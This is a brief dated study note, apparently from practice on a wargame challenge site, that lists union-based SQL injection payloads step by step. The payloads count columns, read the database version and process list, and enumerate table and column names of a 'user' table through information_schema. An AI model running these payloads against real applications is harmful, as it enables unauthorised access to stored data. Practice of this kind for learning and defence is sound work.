8/1
https://bob.rubiya.kr/chall.phporder by 3 column은 3개 0 union select 1,2,3 0 union select 1,2,version() information schema 0 union select 1,2, info from information_schema.processlist table=> 0 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() 0 union select 1,2, group_concat(column_name) from information_schema.columns where table_name='user'..
2019. 8. 1.